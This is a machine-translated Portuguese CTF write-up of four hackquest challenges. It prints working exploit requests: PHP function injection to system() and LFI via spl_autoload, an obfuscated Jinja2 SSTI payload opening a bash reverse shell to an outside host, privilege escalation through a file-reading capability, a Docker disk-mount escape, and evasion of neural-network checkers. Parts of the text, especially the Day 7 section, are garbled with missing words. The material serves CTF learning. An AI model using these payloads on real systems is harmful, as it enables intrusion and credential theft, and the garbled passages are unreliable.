Como prometido, estamos postando a segunda parte das decisões anuais sobre o hackquest. Dia 4-7: a tensão aumenta e as tarefas são mais interessantes!

Conteúdo:

Dia4. Imagehub
Esta tarefa foi preparada pelo
SPbCTF .
Nossa nova criação matará o Instagram. Nós o convenceremos em apenas duas palavras:
1. Filtros. Novos filtros nunca vistos antes para suas fotos enviadas.
2. Armazenamento em cache. O servidor HTTP personalizado garante que os arquivos de imagem cheguem ao cache do navegador.
Experimente agora mesmo! imagehub.spb.ctf.su
Execute / get_the_flag para ganhar.
Binário do servidor personalizado: dppthDicas25/10/2018 20:00
Tarefa não foi resolvida. 24 horas adicionadas.
25/10/2018 17:00
Existem dois erros que conhecemos. Primeiro, você obtém as fontes do aplicativo Web, e o segundo, o RCE.Visão geral:
Executável:
- ELF x86_64
- Implementa um servidor http simples
- Se o arquivo solicitado tiver um bit executável, ele será passado para php-fpm
- Código implementa cache de etag customizado
Web part:
- Possui a funcionalidade de upload de arquivos. A imagem pode ser modificada usando filtros predefinidos.
- Página de administrador com Básico em /? Admin = show
Vulnerabilidade: leitura do código fonte
A funcionalidade de cache parece interessante, porque podemos obter um intervalo arbitrário de arquivos do servidor (até um intervalo de 1 byte).
Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
Hash_function: def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff
Infelizmente, o etag é removido para arquivos executáveis (* .php):
stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);
Ainda existe uma verificação antes da execução da página; portanto, se adivinharmos corretamente o valor etag (
se não houver nenhuma correspondência ), o servidor nos fornecerá uma resposta de status
304 Not Modified . Usando isso, podemos criar força de código fonte byte a byte.
v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a);
Vamos resumir o que temos do RE:
- O registro de data e hora é facilmente lido no cabeçalho da resposta da última modificação (string -> registro de data e hora).
- O intervalo permite ter um comprimento de byte (portanto, obteremos hash para apenas um byte)
- O hash pode ser calculado para um intervalo de 1 byte (256 valores possíveis)
- O tamanho é brutal, mas precisamos saber pelo menos um byte do arquivo de destino.
- Como gostaríamos de obter código fonte para arquivos * .php, é uma boa suposição que o arquivo esteja começando com "<? Php".
O primeiro passo será obter o tamanho e o segundo, obter o conteúdo real do arquivo.
Com o código multiencadeado, cheguei à velocidade de ~ 1 char / s e joguei alguns arquivos
upload.php <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } }
inclui / filters.php <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; }
inclui / uploaderror.php <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; }
inclui / verifique.php <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; }
Isso nos dá:
- Nome de usuário / senha para Admin Basic. Completamente inútil, ele apenas imprime a string:
Congratz. Agora você pode ler fontes. Vá mais fundo. - Injeção de Função (FI) na entrada ' filtro '.
- A validação do upload de imagens agora está clara para nós.
- A biblioteca ImageMagic é usada. Assumir que é usado para exploração é um beco sem saída. Não acho que exista nenhuma maneira de explorá-lo sem depender do FI.
Vulnerabilidade: Injeção de Função
O arquivo
upload.php possui algum código suspeito:
$filterImage = $_POST['filter']($size, $text);
Podemos simplificá-lo para:
$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);
Você pode realmente detectar essa vulnerabilidade apenas fazendo algumas perguntas. Enviar nomes de funções como "
var_dump " ou "
debug_zval_dump " na entrada '
filter ' resultará em respostas interessantes do servidor.
int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777)
Mas não é o nosso caso. Existem pelo menos duas maneiras de resolver a tarefa.
vetor filter_input_array (solução não intencional): vetor RCE
Enquanto pensava em possíveis maneiras de obter o RCE, notei que a
function filter_input_array
nos dá um bom controle sobre a
$filterImage variable
.
Passar a
matriz de filtro como segundo argumento permitirá criar uma matriz arbitrária no resultado da função.
Mas o ImageMagic não espera obter nada além da classe Imagick. :(
Pode ser que possamos desserializar a classe da entrada? Vamos procurar argumentos de filtro adicionais na
descrição filter_input_array .
Não é mencionado na própria página de função, mas podemos realmente transmitir um
retorno de chamada para validação de entrada . O exemplo FILTER_CALLBACK é para
filter_input
, mas também funciona para
filter_input_array
!
Isso significa que podemos "validar" entradas personalizadas do usuário usando a função com um argumento (eval? System?), E temos controle sobre o argumento.
FILTER_CALLBACK = 1024
Exemplo para obter o RCE:
GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1
Resposta:
*** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf)
Linha
pesquisada :
1m_t3h_R34L_binaeb_g1mme_my_71ck37Definitivamente, algo estava errado, porque por que precisamos obter o código fonte? Só por uma dica? Por que os arquivos enviados foram armazenados em disco, não é mais conveniente não armazenar arquivos indesejados dos usuários desafiadores?
Coincidência na nomeação
filter =
filter _input_array, text [a] [
filter ] me deu confiança de que tudo foi feito conforme o esperado ("
filtros nunca antes vistos", marque ✓).
vetor spl_autoload: vetor LFI
Após enviar a solução, fui contatado por um dos autores do desafio, que disse que meu vetor não era destinado e que outra função pode ser usada (
spl_autoload
):
Não é óbvio como podemos usar essa função porque, como é suposto carregar uma classe "<class_name>" do arquivo denominado "<class_name> <some_extension>". A assinatura é a seguinte:
void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )
Nosso primeiro argumento só pode ser número (1-512), então o
nome da
classe é um ... número? ... estranho.
O argumento de
extensão também parece inutilizável; os arquivos controlados são um nível mais profundo que o
upload.php (precisamos passar um prefixo).
Esta função pode realmente nos fornecer um LFI se usada desta maneira:
spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")
O nome do diretório é adquirido a partir do código fonte vazado. E tivemos sorte, porque se o primeiro caractere do nome fosse algo além do número -> não poderíamos incluir arquivos a partir daí.
Então ... tudo o que precisamos agora é passar um "tipo de validade" (
getimagesize deve aceitá-lo)
* .jpg com o código php emitido. Exemplo simples (carga útil do php em exif) é anexado.
Carregue-o como
1111.jpg e faça:
GET:
a = / get_the_flag
POST:
filter = spl_autoload
size = 51
text = a8ae2cab09c6b728919fe09af57ded / 1111.jpg
submit = 1
Resposta:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***
Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37
-- SPbCTF (vk.com/spbctf)
Linha
pesquisada :
1m_t3h_R34L_binaeb_g1mme_my_71ck37O upload e o LFI podem ser feitos em uma solicitação.

Dia5. Tempo
Esta tarefa foi preparada pela
equipe de Segurança DigitalA primeira coisa que você precisa é diminuir o tempo, a segunda é ir além do mundo pequeno. Depois disso, você receberá uma arma contra o nível final do chefe. Boa sorte
51.15.75.80
Dicas27/10/2018 16:00
Oh, quantos dispositivos em uma caixa ... eles são realmente úteis?
27/10/2018 14:35
Se você conseguiu lidar com o filtro no painel de tempo, pode usar os recursos de um sistema inteiro. Não seja tímido.
27/10/2018 14:25
Verifique o host virtual e não detenha 200
26/10/2018 19:25
Tarefa não foi resolvida. 24 horas adicionadas.
26/10/2018 17:35
Use todos os seus recursos.
26/10/2018 12:25
Você não precisa de nenhum software forense para concluir qualquer estágio de uma tarefa.1) Wordpress
Inicialmente, recebemos o endereço
51.15.75.80 .
Executamos o hehdirb - vemos o diretório / wordpress /. Vá imediatamente para o painel de
administração em
admin: admin .
No painel do administrador, vemos que não há privilégios para alterar modelos, portanto você não pode obter o RCE. No entanto, há uma postagem oculta:
25/09/2018 POR ADMINISTRADOR
Privado: notas sobre o painel de horário
login: cristopher
senha: L2tAPJReLbNSn085lTvRNj
host: timepanel.zn2) SSTI
Obviamente, você precisa acessar o mesmo servidor especificando o host virtual
timepanel.zn.Iniciamos o hehdirb neste host - vemos o diretório / adm_auth, seguimos o login e a senha fornecidos acima. Vemos o formulário no qual você precisa inserir as datas ("de" e "para") para obter algumas informações. Ao mesmo tempo, vemos um comentário no código HTML da resposta, onde as mesmas datas são refletidas:
<!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 ->
Obviamente, o erro aqui provavelmente deve estar relacionado a essa reflexão e é improvável que seja XSS, então tente o SSTI:
start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00
A resposta é:
<!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 ->
Ao enviar {{self}}, {{'a' * 5}}, percebemos que esse é o
Jinja2 , mas os vetores padrão não funcionam. Enviando vetores sem {{colchetes}}, vemos que a resposta não reflete os caracteres "_" e algumas palavras, por exemplo, "classe". Esse filtro é facilmente ignorado pelo uso de request.args e pela construção | attr (), além da codificação de alguns bytes com uma sequência de escape.
Consulta final para backconnectPOST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM
start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00
3) LPE
Após receber o RCE, entendemos que você precisa elevar privilégios para fazer o root. Existem vários caminhos falsos (/ usr / bin / special, /opt/privesc.py e mais alguns) que eu não quero descrever, pois eles levam apenas um tempo. Há também um binar / usr / bin / zero, que não possui um suid-bit, mas acontece que ele pode ler qualquer arquivo (basta enviar o caminho codificado em hex no stdin).
O motivo são os recursos (/ usr / bin / zero = cap_dac_read_search + ep).
Lemos a sombra, definimos o hash a ser escovado, mas enquanto estiver escovado, achamos que precisamos ler o arquivo de outro usuário que está no sistema:
$ echo /home/cristopher/.bash_history | xxd -p | zero
Eu posso ler algo para você
su
Dpyax4TkuEVVsgQNz6GUQX4) Fuga do Docker / Forense
Então, nós temos uma raiz. Mas este não é o fim.
Colocamos o apt install extundelete e encontramos vários arquivos mais interessantes no sistema de arquivos relacionados ao próximo estágio:
Para obter um ticket, você precisa alterar uma imagem para que ela seja identificada como "1". Você tem um modelo e uma imagem. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188 {6491 / prever'.Portanto, agora nos deparamos com a tarefa padrão de gerar um exemplo competitivo para o modelo de aprendizado de máquina. No entanto, nesta fase, ainda não consegui obter todos os arquivos necessários. Foi possível fazer isso apenas colocando o agente R-Studio no servidor e combatendo a perícia remota. Tendo quase retirado o que eu precisava, descobri que, de fato, o contêiner do docker está sendo executado em um modo que permite montar o disco inteiro
Fazemos mount / dev / vda1 / root / kek e obtemos acesso ao sistema de arquivos host e, ao mesmo tempo, acesso root a todo o servidor (já que podemos colocar nossa própria chave ssh). Retiramos o KerasModel.h5, ZeroSource.bmp.
5) ML Adversarial
Fica imediatamente claro a partir da figura que a rede neural é treinada no conjunto de dados MNIST. Quando tentamos enviar uma imagem arbitrária para o servidor, obtemos a resposta de que as imagens diferem demais. Isso significa que o servidor mede a distância entre os vetores, porque deseja exatamente um exemplo contraditório, e não apenas uma imagem com a imagem "1".
Tentamos o primeiro ataque que recebemos do foolbox - obtemos o vetor de ataque, mas o servidor não o aceita (a distância é muito grande). Então fui para o mundo selvagem, começando a refazer as implementações do One Pixel Attack no MNIST, e nada aconteceu, já que este ataque usa o algoritmo de evolução diferencial, não é gradiente e tenta encontrar o mínimo estocástico, guiado por mudanças no vetor de probabilidade. Mas o vetor de probabilidades não mudou, uma vez que a rede neural era muito confiante.
No final, eu tive que me lembrar da dica que estava no arquivo de texto original no servidor - "(Normilize ^ _ ^)". Após uma normalização cuidadosa, foi possível realizar efetivamente o ataque usando o algoritmo de otimização L-BFGS, abaixo está a exploração final:
import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'")
Linha
pesquisada :
H3y_Y0u'v_g01_4_n1c3_t1cket
Dia6. Awesome vm
Esta tarefa foi preparada pela equipe da
Escola CTF .
Confira um novo serviço de treinamento! zn.sibears.ru:8000
No momento, queremos envolvê-lo em um teste beta de uma nova máquina virtual criada especialmente para testar as habilidades de programação de nossos iniciantes. Adicionamos proteção intelectual contra trapaças e agora queremos verificar tudo antes de oferecer o platfotm. A VM permite que você execute programas simples ... ou não apenas ?!
goo.gl/iKRTrHDicas27/10/2018 16:20
Talvez você possa enganar ou ignorar o sistema de IA?Descrição:

O serviço é um sistema de validação para arquivos com a extensão .cmpld aceita pelo interpretador sibVM. A tarefa que o programa enviado deve resolver: calcule a soma dos números listados no arquivo input.txt, um pouco remanescente de uma competição acm. Além disso, a descrição da interface da web indica que os programas enviados serão verificados usando inteligência artificial.
O serviço consiste em dois contêineres do Docker:
dock da Web e
prod_inter .
O web-docker não
é particularmente interessante para análise. Tudo o que ele faz é converter o arquivo enviado no contêiner prod_inter, dentro do qual acontece o mais interessante. O snippet de código correspondente é apresentado abaixo:

No contêiner
prod_inter , o arquivo enviado é verificado e executado nos dados de teste. Para cada envio, um novo diretório é criado em / tmp / aleatoriamente, onde o arquivo enviado é salvo com um nome aleatório. O arquivo flag.txt também é colocado no diretório criado, que provavelmente é nosso objetivo.
A parte divertida começa: se o arquivo tiver mais de 8192 bytes, o arquivo de entrada do programa será verificado usando inteligência artificial. A IA é uma rede neural ultraprecisa pré-treinada. Se o teste foi bem-sucedido (os dados de entrada têm mais de 8192 bytes e a rede neural os atribuiu à primeira classe), o programa é executado em cinco testes diferentes, e o resultado é enviado em uma mensagem de resposta e exibido ao usuário.
Se o tamanho dos dados de entrada for menor que 8192 bytes ou eles não passaram no teste pela rede neural, antes de testar o programa, verifique a presença da substring flag.txt nele e as tentativas de abrir um arquivo com o mesmo nome. O acesso ao arquivo flag.txt é monitorado executando o programa na caixa de proteção
secfilter , que é baseada nas tecnologias
SECCOMP e analisando o log de execução. Abaixo está o código de serviço correspondente e um exemplo de log ao tentar abrir um arquivo proibido:


Para resolver essa tarefa, eu gerei um conjunto de programas para o interpretador sibVM que abrem o arquivo flag.txt e exibem o valor numérico do i-ésimo byte do arquivo. Ao mesmo tempo, cada programa passa com sucesso no teste de IA. A seguir, será apresentada uma análise de superfície da rede neural e uma descrição da operação da máquina virtual.
Análise de redes neurais
O modelo de rede neural treinado está contido no arquivo cnn_model.h5. A seguir, são apresentadas informações gerais sobre a arquitetura de rede.

Não sabemos o que exatamente a rede neural reconhece, portanto, tentaremos fornecer vários dados. A partir da arquitetura da rede, fica claro que na entrada recebe uma imagem de canal único do tamanho 100X100. Para evitar o efeito da escala no resultado, usaremos seqüências de 10.000 bytes convertidos em uma imagem usando as funções usadas no serviço. Abaixo estão os resultados da operação de uma rede neural em vários dados:

Com base nos resultados, pode-se supor que a rede neural receberá imagens com predominância de cores pretas (zero bytes). Provavelmente, escrever um programa que leia caracteres de bandeira exigirá significativamente menos que 1000 bytes significativos (o restante pode ser preenchido com zeros) e, em seguida, o AI aceitará o programa enviado.
Por conseguinte, para resolver a tarefa, resta escrever o programa desejado.
Intérprete SibVM
Estrutura do programaO primeiro passo é entender a estrutura do arquivo do programa. Durante o reverso do intérprete, verificou-se que o programa deveria começar com um determinado cabeçalho com vários campos de serviço, seguidos por um conjunto de entidades com identificadores, entre os quais deveria haver uma entidade principal do tipo Função.
Verificação do cabeçalho do arquivo Processando registros e iniciando a função principal O resultado é o seguinte formato de arquivo de entrada:

Tipos de dados
O intérprete suporta vários tipos de entidades. Abaixo está uma tabela e seus identificadores, que no futuro serão necessários para criar o programa.

Construindo um programa para o intérprete
Como mencionado acima, o programa deve ter uma entrada principal com o tipo Função (5). Tem o seguinte formato:

Não foi difícil descobrir o principal ciclo de execução do programa.
Ciclo de execução principal A função
decode_opcode
recupera informações sobre a próxima operação do código do programa. Os dois primeiros bytes de cada operação contêm o código da operação, o número de argumentos e seu tipo. Os próximos bytes (dependendo do tipo e número de argumentos) serão interpretados como argumentos para a operação.
O formato dos dois primeiros bytes da operação:

Em seguida, revisaremos algumas instruções que nos ajudarão a extrair a sinalização do sistema.
Gráfico do interpretador de comandos, função execute_opcode - Opcode 0 - abre o arquivo (o nome do arquivo é especificado pelo argumento da operação e é do tipo String) e coloca seu conteúdo na parte superior da pilha como um objeto do tipo
ByteArray
. - Código de Opção 2 - Exibe o valor armazenado na parte superior da pilha. Infelizmente, esta operação não exibirá o valor de um objeto do tipo
ByteArray
. Para resolver esse problema, você pode obter o i-ésimo elemento da matriz e exibi-lo.
- Opcode 13 - pegando um elemento de uma matriz pelo índice. A matriz e o índice do elemento são removidos da pilha, o resultado é empurrado para a pilha. Assim, para compilar um programa de trabalho, é necessário colocar o índice na pilha.
- Opcode 7 - coloca o argumento da operação na pilha.
Como resultado, o programa consiste em apenas 4 operações:


Linha pesquisada:
bandeira {76f98c7f11582d73303a4122fd04e48cba5498}
Dia7. Hiddenresource
Esta tarefa foi preparada pelo
RuCTF .
Dado o serviço n24.elf . Apenas autorize em 95.216.185.52 e obtenha sua bandeira.Dicas
28/10/2018 20:00Tarefa não foi resolvida. 24 horas adicionadas.A pesquisa do servidor para acesso usando protocolos de conexão padrão mostrou acesso através do SSH (porta 22). O arquivo fornecido é um executável ELF (que foi sutilmente sugerido pela extensão no nome) para Linux.
O uso do utilitário strings mostrou a presença das linhas “/home/task/.ssh” e “/home/task/.ssh/authorized_keys”. Conclusão sobre a possibilidade de acesso ao arquivo de chave de autorização sem senha SSH a partir do arquivo executável ELF (a seguir denominado serviço).
A tabela de símbolos contém as funções necessárias para abrir arquivos e gravar:
A tabela de símbolos também contém funções para trabalhar com soquetes, criar processos e contar o MD5.
O verso do arquivo mostrava a presença de um grande número de saltos (algum tipo de ofuscação). Ao mesmo tempo, os saltos são realizados entre os blocos de código, que geralmente podem ser divididos em vários tipos:
- « OF », ( objdump):
95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d>
, OF «xor», «and» . - , . . , :
95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc
- , .
Com base nos resultados do reverso, foi assumido que existe uma implementação de contagem de acordo com o algoritmo MD5. A tabela necessária para o cálculo não é implementada separadamente, mas é lida diretamente no código em blocos. O código contém caracteres com os nomes MD5_Init , MD5_Update e MD5_final .Em geral, usando os recursos do conhecido desmontador e seus scripts de API, foi possível determinar estaticamente o progresso do programa. Mas a licença do desmontador é cara, a versão de avaliação é triste, é difícil obtê-la e eu consegui gerenciar com utilitários de freeware, e dessa maneira é mais longa. Portanto, a dinâmica e mais a oportunidade é.Carreguei o arquivo ELF na máquina virtual. Crie o diretório “/home/task/.ssh/” apenas por precaução.Na inicialização, você deve especificar a porta. Considerando que não controlamos o lançamento do lado do servidor, pensei que esse parâmetro fosse falso. A porta real deve ser uma. O Netstat mostrou a porta aberta 5432 (UDP).
O envio de um pacote com dados para a porta especificada exibe uma mensagem sobre a verificação e alguns dados (4 bytes) do serviço:
A enumeração de vários dados revelou a dependência da saída em seu conteúdo.O próximo passo é depurar usando o gdb. Primeiro de tudo, descubro de onde obtemos os dados, um ponto de interrupção no retorno e retorno. Recebemos o endereço 0x6ae010 no final.Cadeia de transição 6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff
Na cadeia, chame a função em 0x810758 e processe seu resultado.Defina break como 0xb01902, envie o pacote de dados.Código de retorno (registro rax)(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488
Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0
Código 0 para dados inválidos. Portanto, assumimos que, para a solução correta, precisamos retornar o código não 0.No decorrer de pesquisas adicionais, examinei o gdb, que é passado para a função MD5_Update ao enviar o pacote de dados (também enviado "teste").Resultado (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512
Resultado
O MD5 é contado a partir da mensagem que enviamos, mas o tamanho dos dados lidos é de 512 bytes. Tendo brincado com os dados, descobri que o MD5 é contado a partir de dados enviados com zeros preenchidos até 512 bytes. Mas você precisa enviar pelo menos 8 bytes para substituir um número de 8 bytes armazenado na pilha. Aparentemente, algum endereço foi armazenado lá. Os 4 bytes exibidos pelo serviço para cada pacote recebido correspondem aos 3 primeiros bytes da soma MD5 com um zero adicional.Voltei à função 0x810758 e seu código de retorno 0. O valor de retorno é armazenado no registro RAX. Para determinar o código de retorno, defino 2 pontos de interrupção no endereço da função 0x810758 e o endereço após sua execução 0x827326.Enviei os dados, o ponto em 0x810758 funcionou. Lancei o script em gdb: import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break
